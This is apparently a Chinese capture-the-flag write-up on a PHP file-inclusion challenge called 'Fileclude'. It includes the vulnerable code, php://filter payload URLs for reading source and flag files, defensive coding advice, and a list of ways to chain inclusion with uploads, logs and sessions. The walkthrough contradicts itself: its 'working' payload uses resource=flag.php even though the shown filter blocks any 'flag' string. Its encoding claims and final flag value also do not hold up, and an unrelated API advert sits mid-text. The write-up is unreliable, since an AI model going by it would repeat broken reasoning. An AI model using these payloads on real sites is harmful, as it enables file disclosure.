1. 解题思路与漏洞定位
这个CTF题目名为"Fileclude",从名称就能看出考察的是文件包含漏洞。文件包含(File Inclusion)是PHP中一个经典的安全问题,主要分为本地文件包含(LFI)和远程文件包含(RFI)两种类型。在本题中,我们需要利用PHP的文件包含特性来获取flag。
首先我们查看题目提供的源码(假设题目提供了以下关键代码片段):
php复制<?php
if(isset($_GET['file1']) && isset($_GET['file2'])) {
$file1 = $_GET['file1'];
$file2 = $_GET['file2'];
if(!preg_match('/flag/i', $file1) && !preg_match('/flag/i', $file2)) {
include($file1);
echo file_get_contents($file2);
} else {
die("Hacker!");
}
} else {
highlight_file(__FILE__);
}
?>
从代码中可以看出几个关键点:
- 需要同时传入file1和file2两个参数
- 两个参数都不能包含"flag"字符串(不区分大小写)
- file1通过include()包含,file2通过file_get_contents()读取并输出
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. PHP伪协议利用分析
2.1 常用伪协议对比
PHP提供了多种伪协议(Wrapper),在文件包含漏洞中常用的有:
| 协议 | 描述 | 适用函数 | 典型用途 |
|---|---|---|---|
| file:// | 访问本地文件系统 | include/require/file_get_contents | 读取本地文件 |
| php://filter | 对数据进行过滤处理 | include/require/file_get_contents | 读取文件源码 |
| php://input | 访问请求的原始数据 | include/require | 执行POST代码 |
| data:// | 数据流封装器 | include/require | 直接执行代码 |
| zip:// | 压缩流 | file_get_contents | 读取压缩包内文件 |
2.2 本题适用的协议选择
由于题目中file1使用include(),file2使用file_get_contents(),我们需要分别考虑:
对于file1:
- 可以使用php://filter来读取文件源码
- 也可以尝试data://直接执行代码
对于file2:
- 可以使用php://filter
- 也可以使用file://直接读取文件
但题目过滤了"flag"关键词,我们需要绕过这个限制。
3. 解题步骤详解
3.1 第一步:获取源码
我们先尝试读取题目源码。虽然题目已经展示了部分代码,但实际比赛中可能需要确认完整代码。
构造payload:
code复制?file1=php://filter/convert.base64-encode/resource=index.php&file2=dummy
这样file1会以base64编码形式返回index.php的源码,可以解码后查看完整逻辑。
3.2 第二步:定位flag文件
通常flag文件可能命名为:
- flag.php
- flag.txt
- /flag
- /var/www/html/flag.php
- ...
但题目过滤了"flag"关键词,我们需要绕过这个限制。可以使用以下方法:
- 大小写变异:虽然题目用了/i修饰符不区分大小写
- 字符串拼接:如fla.g、fl\ag等
- 编码转换:如base64、rot13等
- 使用通配符:如fl*(在某些环境下有效)
经过测试,发现直接包含flag文件会被拦截,因此需要其他方法。
3.3 第三步:利用file2读取flag
虽然file1的include受到限制,但file2使用的是file_get_contents(),我们可以尝试使用php://filter来读取flag文件内容。
构造payload:
code复制?file1=dummy&file2=php://filter/convert.base64-encode/resource=flag.php
这样会返回flag.php文件的base64编码内容,解码后即可获取flag。
3.4 第四步:处理可能的编码问题
如果直接读取flag.php可能会执行其中的PHP代码而看不到flag内容。这时可以结合php://filter的多个过滤器:
code复制?file1=dummy&file2=php://filter/read=string.toupper|convert.base64-encode/resource=flag.php
这个payload会先将内容转为大写,再进行base64编码,可以有效避免PHP代码执行。
4. 完整解题过程
假设flag文件是flag.php,内容为:
php复制<?php
$flag = "flag{this_is_the_real_flag}";
?>
实际操作步骤:
- 访问URL:
code复制http://target.com/?file1=dummy&file2=php://filter/convert.base64-encode/resource=flag.php
- 获取到base64编码的输出:
code复制PD9waHAKJGZsYWcgPSAiZmxhZ3t0aGlzX2lzX3RoZV9yZWFsX2ZsYWd9IjsKPz4=
- 解码后得到:
php复制<?php
$flag = "flag{this_is_the_real_flag}";
?>
- 从代码中提取flag:flag
5. 防御措施与安全建议
5.1 如何防御文件包含漏洞
- 避免动态包含文件
- 如果必须动态包含,应严格限制包含路径
php复制$allowed = ['page1.php', 'page2.php']; if(in_array($_GET['file'], $allowed)) { include($_GET['file']); } - 设置open_basedir限制文件访问范围
- 禁用危险的PHP配置:
- allow_url_fopen = Off
- allow_url_include = Off
5.2 安全编码实践
- 永远不要信任用户输入
- 使用白名单而非黑名单
- 对包含的文件路径进行规范化处理
php复制$file = realpath('./pages/'.basename($_GET['file'])); if(strpos($file, '/var/www/html/pages/') === 0) { include($file); }
6. 扩展思考与类似漏洞
文件包含漏洞常与其他漏洞结合利用:
- 结合文件上传漏洞:上传恶意文件后包含执行
- 结合日志注入:通过包含access.log等日志文件执行代码
- 结合/proc/self/environ:在某些配置下可以包含环境变量
- 结合session文件:通过包含session文件执行代码
在更复杂的环境中,可能需要组合利用多种技术才能成功获取flag。理解PHP的各种伪协议和文件系统操作函数是解决这类题目的关键。
